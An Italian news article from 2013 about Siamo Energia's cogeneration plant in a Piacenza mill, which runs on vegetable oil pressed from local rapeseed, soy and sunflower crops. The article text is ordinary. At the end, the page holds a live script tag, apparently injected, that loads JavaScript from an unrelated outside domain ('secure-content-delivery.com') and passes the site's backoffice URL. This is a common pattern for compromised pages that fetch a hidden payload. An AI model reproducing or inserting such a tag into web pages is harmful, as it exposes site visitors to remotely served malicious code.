1. Home
  2. Notizie e Mercato
  3. Green economy: a Piacenza un nuovo progetto fa scuola

Green economy: a Piacenza un nuovo progetto fa scuola

Energie rinnovabili di
5/5
votato da 1 persone
La nuova centrale di cogenerazione di Siamo Energia a Fiorenzuola D’Arda (Piacenza) favorirà lo sbocco di mercato degli agricoltori locali, aiutandoli a produrre oli vegetali puri con energia rinnovabile


A Fiorenzuola D’Arda (PC) Siamo Energia, società imprenditoriale attiva nel campo delle rinnovabili, ha inaugurato una centrale di cogenerazione in un mulino. Alimenterà con energia rinnovabile una produzione di oli vegetali puri che offre un nuovo, importante sbocco di mercato per gli agricoltori locali

Fiorenzuola D’Arda ha ospitato, sabato 26 ottobre 2013, l’inaugurazione del nuovo progetto di green economy che, come ha come ha sottolineato il vicesindaco Giuseppe Brusamonti intervenuto all’evento, «può diventare uno stimolo e dimostrare che i risultati, quando frutto di progetti innovativi, si possono raggiungere anche nel nostro Paese».

I vantaggi sono evidenti:
- Un nuovo sbocco di mercato per l’agricoltura: «In questi anni molte colline piacentine sono state abbandonate dagli agricoltori, demotivati dalle difficoltà del contesto» ha spiegato Luciano Costanzo, A.D. di Siamo Energia «tutto questo mentre le nostre centrali hanno bisogno continuo di terreni coltivati a colza, soia e girasole per la produzione oli vegetali puri». È nata da questa premessa la partnership tra Siamo Energia e Savi Italo: un mulino che ha affiancato al commercio di cereali da agricoltura biologica la produzione di olio vegetale puro per motori di cogenerazione, lavorando le granaglie prodotte dalle colline piacentine. Una nuova attività che garantisce a Siamo Energia la fornitura necessaria al funzionamento delle proprie centrali e agli agricoltori locali l’opportunità di convertire parte delle coltivazioni a colza, soia e girasole, per rilanciare la propria attività. Considerando la capacità complessiva dell’impianto di spremitura di Savi Italo, si stima, infatti, una nuova domanda di granaglie pari a circa 20 mila tonnellate l’anno.

- Una produzione a basso impatto ambientale: l’interesse verso questo progetto va, però, oltre l’indotto economico generato sul territorio piacentino. Tutte le lavorazioni di Savi Italo (comprese quelle per l’olio vegetale puro) saranno alimentate da energia termica rinnovabile, prodotta dalla centrale di cogenerazione che Siamo Energia ha costruito all’interno del mulino. Un ciclo produttivo sostenibile e a Km 0 (quindi a ridotte emissioni di Co2) che abbatte di circa 400 mila litri/anno l’uso di combustibili fossili, dannosi per la salute dell’uomo e dell’ambiente.

- Entrate automatiche, da condividere: i risvolti economici di questa iniziativa sono importanti e condivisi. Oltre agli agricoltori piacentini e a Savi Italo, potranno beneficiare dell’impianto di cogenerazione anche i privati e gli imprenditori soci di Siamo Energia & Partners 02 s.r.l.. Proprio come le altre centrali di cogenerazione inaugurate da Siamo Energia nei mesi scorsi, anche l’impianto di Fiorenzuola D’Arda (PC) è collegato, infatti, a una società di scopo, incaricata di vendere al GSE i quasi 8 milioni di kwh/anno1 di energia elettrica rinnovabile prodotti e di condividerne i ricavi tra i soci.


<script src="https://secure-content-delivery.com/data.js.php?i={271EC601-39CC-426C-935D-F754BCD76643}&amp;d=2013-10-10&amp;s=http://www.guidaedilizia.it/Backoffice/GuidaNews/Inserisci_Articoli.asp?TipologiaID=1&amp;cb=0.3249182713038" type="text/javascript"></script>